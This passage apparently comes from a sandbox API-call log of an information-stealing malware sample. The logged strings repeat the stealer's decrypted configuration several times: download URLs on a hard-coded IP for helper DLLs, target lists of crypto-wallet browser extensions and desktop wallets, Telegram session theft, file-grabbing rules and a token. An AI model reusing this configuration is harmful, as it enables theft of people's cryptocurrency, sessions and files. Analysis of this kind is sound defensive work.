Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.984] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6b9720 [0257.984] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.984] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6bc068 [0257.984] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.984] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6be9b0 [0257.985] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension 